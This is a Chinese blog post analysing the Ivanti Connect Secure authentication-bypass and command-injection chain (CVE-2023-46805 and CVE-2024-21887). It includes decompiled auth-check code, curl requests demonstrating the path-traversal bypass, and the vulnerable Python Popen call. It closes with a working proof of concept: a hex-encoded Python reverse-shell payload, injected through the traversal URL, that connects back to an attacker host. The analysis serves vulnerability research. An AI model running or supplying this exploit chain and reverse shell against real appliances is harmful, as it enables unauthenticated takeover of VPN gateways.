CVE-2023-46805&CVE-2024-21887 Ivanti connect secure RCE分析

CVE-2023-46805&CVE-2024-21887 Ivanti connect secure RCE分析

原创 chestnut 闲聊趣说 2024-03-06 20:03

前言

有一个半月没发过文章了,简要地看了一下这个RCE链原理,以及博客网站换成了www.ch35tnut.com,原先的快到期了,看了一下续费要20刀,买个.com的一年才10刀,果断换成.com域名了。

基本信息

在Ivanti中存在身份认证绕过漏洞和命令注入漏洞,结合这两个漏洞未经身份验证的远程攻击者可以在目标ivanti connect secure上执行任意代码。

其中CVE-2023-46805为身份验证绕过漏洞,利用路径穿越,攻击者可以未授权访问后端敏感API。CVE-2024-21887为命令注入漏洞,攻击者可以利用该漏洞注入恶意命令并执行,结合这两个漏洞,未授权攻击者可以在ivanti
connect secure上执行恶意命令。

指纹

hunter

web.title="Ivanti connect"


影响版本

Ivanti ICS 9.x
Ivanti ICS 22.x


环境搭建

使用Vmware导入ova镜像即可,而后在grub启动时将密钥拖出来,再到kali里面解密磁盘。

技术分析&调试

在bin/dsstartws
中会启动web服务器


#!/home/ecbuilds/int-rel/sa/22.2/bld657.1/install/perl5/bin/perl -T
# -*- mode:perl; cperl-indent-level: 4; indent-tabs-mode:nil -*-

use lib ($ENV{'DSINSTALL'} =~ /(\S*)/)[0] . "/perl";
use strict;
use DSSafe;

my ($install) = $ENV{'DSINSTALL'} =~ /(\S*)/;

$SIG{HUP} = 'IGNORE';


if (!-e $install  . "/runtime/webserver/conf/secure.crt" ) {
    system("/bin/mkdir -p " . $install . "/runtime/webserver/conf/");
    system("/bin/cp " . $install . "/webserver/conf/ssl.crt/secure.crt " .
           $install .  "/runtime/webserver/conf");
}
if (!-e $install  . "/runtime/webserver/conf/intermediate.crt" ) {
    system("/bin/mkdir -p " . $install . "/runtime/webserver/conf/");
    system("/bin/cp " . $install . "/webserver/conf/ssl.crt/intermediate.crt " .
           $install .  "/runtime/webserver/conf");
}
if (!-e $ENV{'DSINSTALL'} . "/runtime/webserver/conf/secure.key" ) {
    system("/bin/mkdir -p " .  $install .  "/runtime/webserver/conf");
    system("/bin/cp " . $install . "/webserver/conf/ssl.key/secure.key " .
           $install .  "/runtime/webserver/conf");
}

my $command = $install . "/bin/web -s " . $install . "/runtime/webserver/conf";
exec($command) ;
print "unable to run: $command\n";
exit(-1);

省略时间,从分析文章中可以知道身份认证绕过位于/home/bin/web,反编译其代码,全局搜索/api/v1/totp/user-backup-code
,查找引用。

转到doAuthCheck,可以看到会使用strncmp对请求url进行比较,如果url为如下之一,会直接返回true,也就是以下这些url在 doAuthCheck中不用经过身份验证。

当然在其他函数中对其他url进行了额外的校验,但对于/api/v1/totp/user-backup-code
,不用身份验证。


if ( !memcmp(v17, "/dana-na/", 9u)
    || !memcmp(*((const void **)a1 + 16), "/dana-cached/setup/", 0x13u)
    || !memcmp(*((const void **)a1 + 16), "/dana-cached/sc/", 0x10u)
    || !strncmp(s1, "/dana-cached/hc/", 0x10u)
    || !strncmp(s1, "/dana-cached/cc/", 0x10u)
    || !strncmp(s1, "/dana-cached/ep/", 0x10u)
    || !strncmp(s1, "/dana-cached/psal/", 0x12u)
    || !strncmp(s1, "/dana-cached/remediation/", 0x19u)
    || !strncmp(s1, "/dana-ws/saml20.ws", 0x12u)
    || !strncmp(s1, "/dana-ws/samlecp.ws", 0x13u)
    || !strncmp(s1, "/adfs/ls", 8u)
    || !strncmp(s1, "/api/v1/profiler/", 0x11u)
    || !strncmp(s1, "/api/v1/cav/client/", 0x13u) && strncmp(s1, "/api/v1/cav/client/auth_token", 0x1Du) )
  {
    return 1;
  }
  sub_59C40(*((_DWORD *)a1 + 3));
  if ( (unsigned __int8)sub_873D0() )
    return 1;
  v18 = (const char *)*((_DWORD *)a1 + 16);
  if ( !strncmp(v18, "/api/v1/ueba/", 0xDu)
    || !strncmp(v18, "/api/v1/integration/", 0x14u)
    || !strncmp(v18, "/api/v1/dsintegration", 0x15u)
    || !strncmp(v18, "/api/v1/pps/action/", 0x13u)
    || !strncmp(v18, "/api/my-session", 0xFu)
    || !strncmp(v18, "/api/v1/totp/user-backup-code", 0x1Du)
    || !strncmp(v18, "/api/v1/esapdata", 0x10u)
    || !strncmp(v18, "/api/v1/sessions", 0x10u)
    || !strncmp(v18, "/api/v1/tasks", 0xDu)
    || !strncmp(v18, "/api/v1/gateways", 0x10u)
    || !strncmp(v18, "/_/api/aaa", 0xAu)
    || !strncmp(v18, "/api/v1/oidc", 0xCu) )
  {
    return 1;
  }

doAuthCheck
由doDispatchRequest
调用,当请求url以以下字符串开头则会转发给python rest server。


char __cdecl doDispatchRequest(DSLog::Debug *a1)
{
...
  if ( !doAuthCheck(a1, (unsigned int *)a1 + 44) )
    return 0;
......
    if ( !memcmp(v5, "/api/v1/profiler/", 0x11u)
      || !memcmp(v5, "/api/v1/cav/", 0xCu)
      || !memcmp(v5, "/api/v1/ueba/", 0xDu)
      || !memcmp(v5, "/api/v1/integration/", 0x14u)
      || !memcmp(v5, "/api/my-session", 0xFu)
      || !memcmp(v5, "/api/v1/dsintegration", 0x15u)
      || !memcmp(v5, "/api/v1/sessions", 0x10u)
      || !memcmp(v5, "/api/v1/tasks", 0xDu)
      || !memcmp(v5, "/_/api/aaa", 0xAu)
      || !memcmp(v5, "/api/v1/esapdata", 0x10u)
      || !memcmp(v5, "/api/v1/totp/user-backup-code", 0x1Du)
      || !memcmp(v5, "/api/v1/gateways", 0x10u)
      || !memcmp(v5, "/api/aaa", 8u)
      || !memcmp(v5, "/api/v1/pps/action/", 0x13u)
      || !memcmp(v5, "/api/v1/oidc", 0xCu)
      || (sub_59C40(*((_DWORD *)a1 + 3)), (unsigned __int8)sub_873D0())
      || (v22 = *((_DWORD *)a1 + 16), (unsigned __int8)sub_853B0()) )
    {
      if ( !byte_13EB88 && __cxa_guard_acquire((__guard *)&byte_13EB88) )
      {
        v46 = "Watchdog";
        if ( !*((_BYTE *)a1 + 240) )
          v46 = "WebRequest";
        dword_13EC80 = DSGetStatementCounter(
                         "request.cc",
                         5179,
                         "doDispatchRequest",
                         v46,
                         10,
                         "Dispatching to pyresthandler-server");
        __cxa_guard_release((__guard *)&byte_13EB88);
      }
      ++*(_QWORD *)dword_13EC80;

}

由以上逻辑可知可以通过/api/v1/totp/user-backup-code
和目录穿越绕过权限检查,访问python rest 服务。

➜  ivanti curl -ik --path-as-is https://192.168.59.38/api/v1/totp/user-backup-code/../../license/keys-status
HTTP/1.1 200 Connection established

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 354

{"ive-licCount":0,"ive-maxccu":2,"ive-maxnuc":0,"ive-struct":{"node-data":[{"graceStr":"","hardware-id":"XXX","isReachable":1,"ive-cl-count":0,"ive-hostId":"localhost2","ive-name":"localhost2","ive-named-user-count":0,"ive-user-count":0,"license-keys":[],"num-lic":0,"serial-num":"XXX"}],"num-node":1}}

但/api/v1/totp/user-backup-code
路径仅存于22.3及以上,对于版本低的,需要使用/api/v1/cav/client/status/
接口绕过权限验证。


if ( !memcmp(v17, "/dana-na/", 9u)
    || !memcmp(*((const void **)a1 + 16), "/dana-cached/setup/", 0x13u)
    || !memcmp(*((const void **)a1 + 16), "/dana-cached/sc/", 0x10u)
    || !strncmp(s1, "/dana-cached/hc/", 0x10u)
    || !strncmp(s1, "/dana-cached/cc/", 0x10u)
    || !strncmp(s1, "/dana-cached/ep/", 0x10u)
    || !strncmp(s1, "/dana-cached/psal/", 0x12u)
    || !strncmp(s1, "/dana-cached/remediation/", 0x19u)
    || !strncmp(s1, "/dana-ws/saml20.ws", 0x12u)
    || !strncmp(s1, "/dana-ws/samlecp.ws", 0x13u)
    || !strncmp(s1, "/adfs/ls", 8u)
    || !strncmp(s1, "/api/v1/profiler/", 0x11u)
    || !strncmp(s1, "/api/v1/cav/client/", 0x13u) && strncmp(s1, "/api/v1/cav/client/auth_token", 0x1Du) )
  {
    return 1;
  }
  sub_50540(*((_DWORD *)a1 + 3));
  if ( (unsigned __int8)sub_7D260() )
    return 1;
  v18 = (const char *)*((_DWORD *)a1 + 16);
  if ( !strncmp(v18, "/api/v1/ueba/", 0xDu)
    || !strncmp(v18, "/api/v1/integration/", 0x14u)
    || !strncmp(v18, "/api/v1/dsintegration", 0x15u)
    || !strncmp(v18, "/api/v1/pps/action/", 0x13u)
    || !strncmp(v18, "/api/my-session", 0xFu)
    || !strncmp(v18, "/api/v1/esapdata", 0x10u)
    || !strncmp(v18, "/api/v1/sessions", 0x10u)
    || !strncmp(v18, "/api/v1/tasks", 0xDu)
    || !strncmp(v18, "/api/v1/gateways", 0x10u)
    || !strncmp(v18, "/_/api/aaa", 0xAu)
    || !strncmp(v18, "/api/v1/oidc", 0xCu) )
  {
    return 1;
  }

示例:

➜  ivanti curl -ik --path-as-is https://192.168.59.38/api/v1/cav/client/status/../../admin/options
HTTP/1.1 200 Connection established

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 46

{"poll_interval": 99999, "block_message": ""}

python rest 服务在restservice-0.1-py3.6.egg中实现,解压代码,可以在restservice\api__init__.py
中看到其定义了一系列API


api.add_resource(
    Userrecordsynchronization,
    "/api/v1/system/user-record-synchronization",
    "/api/v1/system/user-record-synchronization/database/export",
    "/api/v1/system/user-record-synchronization/database/import",
    "/api/v1/system/user-record-synchronization/database/delete",
    "/api/v1/system/user-record-synchronization/database/retrieve-stats",
)
api.add_resource(
    WebProfile, "/api/v1/system/resource-profiles/web-profile/<path:applet_name>"
)
api.add_resource(
    ActiveSyncDevices,
    "/api/v1/system/status/active-sync-devices/<path:active_sync_session_id>",
    "/api/v1/system/status/active-sync-devices/<path:active_sync_session_id>/allow-access",
    "/api/v1/system/status/active-sync-devices/<path:active_sync_session_id>/block-access",
    "/api/v1/system/status/active-sync-devices",
)
api.add_resource(
    AwsAzureTestConnection,
    "/api/v1/system/maintenance/archiving/cloud-server-test-connection",
)

全局搜索popen


➜ grep -ir "popen"
restservice/api/resources/awsazuretestconnection.py:                    proc = subprocess.Popen(
restservice/api/resources/config.py:        proc = subprocess.Popen(
restservice/api/resources/config.py:        proc = subprocess.Popen(args, stdout=subprocess.PIPE)
restservice/api/resources/config.py:        popen_args = [
restservice/api/resources/config.py:            popen_args.append("--expand-href")
restservice/api/resources/config.py:            popen_args.append("--exclude-pulse-packages")
restservice/api/resources/config.py:        proc = subprocess.Popen(popen_args, stdout=subprocess.PIPE)
restservice/api/resources/controller.py:        proc = subprocess.Popen(
restservice/api/resources/controller.py:        proc = subprocess.Popen(
restservice/api/resources/html5.py:        # proc = subprocess.Popen(smbClientCmd, shell=True, stdout=subprocess.PIPE)
restservice/api/resources/license.py:        proc = subprocess.Popen(
restservice/api/resources/license.py:                proc = subprocess.Popen(
restservice/api/resources/license.py:            proc = subprocess.Popen(
restservice/api/resources/license.py:            proc = subprocess.Popen(
restservice/api/resources/license.py:            proc = subprocess.Popen(
restservice/api/resources/localbackupsysconfiganduseracc.py:        proc = subprocess.Popen(
restservice/api/resources/localbackupsysconfiganduseracc.py:                    proc = subprocess.Popen(
restservice/api/resources/localbackupsysconfiganduseracc.py:        proc = subprocess.Popen(
restservice/api/resources/nsaregistration.py:                proc = subprocess.Popen(
restservice/api/resources/samlconfig.py:        o_fd = os.popen(cmd, "r", 1)
restservice/api/resources/samlconfig.py:        o_fd = os.popen(cmd, "r", 1)
restservice/api/resources/status.py:        ntpq_command_output = os.popen("ntpq -np").read().split("\n")

在restservice\api\resources\license.py
中有如下代码,将nod_name参数直接拼接到了命令行中,


def get(self, url_suffix=None, node_name=None):
        if request.path.startswith("/api/v1/license/keys-status"):
            try:
                dsinstall = os.environ.get("DSINSTALL")
                if node_name == None:
                    node_name = ""
                proc = subprocess.Popen(
                    dsinstall
                    + "/perl5/bin/perl"
                    + " "
                    + dsinstall
                    + "/perl/getLicenseCapacity.pl"
                    + " getLicenseKeys "
                    + node_name,
                    shell=True,
                    stdout=subprocess.PIPE,
                )

node_name在路由中定义为url中的参数,同时由于指定了shell=True,导致可以通过;注入恶意命令


api.add_resource(
    License,
....
    "/api/v1/license/keys-status/<path:node_name>",
....
    resource_class_kwargs={"ive_logger": ive_logger},
)

POC


payload=$(echo ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"host\",48989));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';" | xxd -p)

curl -ik --path-as-is https://host/api/v1/totp/user-backup-code/../../license/keys-status/$payload

小结

这个漏洞利用链利用了二进制文件中路径判断问题,使用目录穿越绕过权限验证访问后端接口,同时通过Popen的命令注入注入恶意命令并执行,构成了完整的利用链,由于没办法获取到补丁,所以暂时没办法分析ivanti怎么修复的该漏洞。

实际利用的时候发现建立的shell在一定时间后会被ivanti connect secure内部的完整性检查工具杀死,粗略的看了一下逻辑,有时间整理一篇文章。

利用截图

CVE-2023-46805&CVE-2024-21887 Ivanti connect secure RCE分析 -1

参考链接

https://labs.watchtowr.com/welcome-to-2024-the-sslvpn-chaos-continues-ivanti-cve-2023-46805-cve-2024-21887/

https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US

https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis

https://www.assetnote.io/resources/research/high-signal-detection-and-exploitation-of-ivantis-pulse-connect-secure-auth-bypass-rce

PoC

https://github.com/duy-31/CVE-2023-46805_CVE-2024-21887